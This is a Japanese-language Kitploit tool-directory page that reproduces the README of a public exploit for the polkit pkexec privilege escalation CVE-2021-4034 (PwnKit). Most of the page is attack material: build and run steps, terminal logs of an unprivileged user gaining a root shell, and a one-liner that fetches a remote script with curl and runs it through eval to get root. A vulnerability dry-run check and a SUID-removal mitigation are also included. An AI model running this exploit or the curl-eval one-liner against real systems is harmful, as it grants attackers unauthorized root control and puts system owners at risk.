Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
berdav-CVE-2021-4034 — CVE-2021-4034(PwnKit)のエクスプロイトで、polkit pkexec を介して root シェルを提供します。脆弱性をテストするためのドライラン(dry-run)モードと、迅速な悪用のためのワンライナースクリプトが含まれています。 | Kitploit
ツール/GitHubGitHub/thejoyofhacking/berdav-cve-2021-4034
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストレッドチーミング
GitHubthejoyofhacking/berdav-cve-2021-4034

berdav-CVE-2021-4034

CVE-2021-4034(PwnKit)のエクスプロイトで、polkit pkexec を介して root シェルを提供します。脆弱性をテストするためのドライラン(dry-run)モードと、迅速な悪用のためのワンライナースクリプトが含まれています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
44年前未レビュー

CVE-2021-4034

polkit権限昇格エクスプロイトのワンデイ

make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。

実際の作者による元のアドバイザリはこちらです。

PoC

エクスプロイトが成功すると、すぐにrootシェルが取得できます:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

ほとんどのシステムでpolkitを更新するとエクスプロイトが修正されるため、使用方法が表示されてプログラムは終了します:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

ドライラン

シェルを実行せずに、システムが脆弱かどうかだけをテストするには、dry-run ターゲットをコンパイルします。

プログラムが "root" を表示して終了した場合、システムがこのエクスプロイトに対して脆弱であることを意味します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

システムが脆弱でない場合は、エラーを表示して終了します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

Linux向けPolkit pkexecについて

Polkit(旧称PolicyKit)は、Unix系オペレーティングシステムにおいてシステム全体の権限を制御するためのコンポーネントです。非特権プロセスが特権プロセスと通信するための体系化された方法を提供します。また、polkitを使用して、pkexecコマンドの後に実行したいコマンド(root権限付き)を続けることで、昇格した権限でコマンドを実行することも可能です。

ワンライナーコマンド

以下のコマンドでダウンロードして実行できる単一のスクリプトを使用して、システムを簡単にエクスプロイトできます:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

緩和策

お使いのオペレーティングシステムで利用可能なパッチがない場合は、一時的な緩和策としてpkexecからSUIDビットを削除できます。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

その後、エクスプロイトはpkexecにsetuidビットが設定されている必要があるとエラーを表示して失敗します。

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
ツールをダウンロード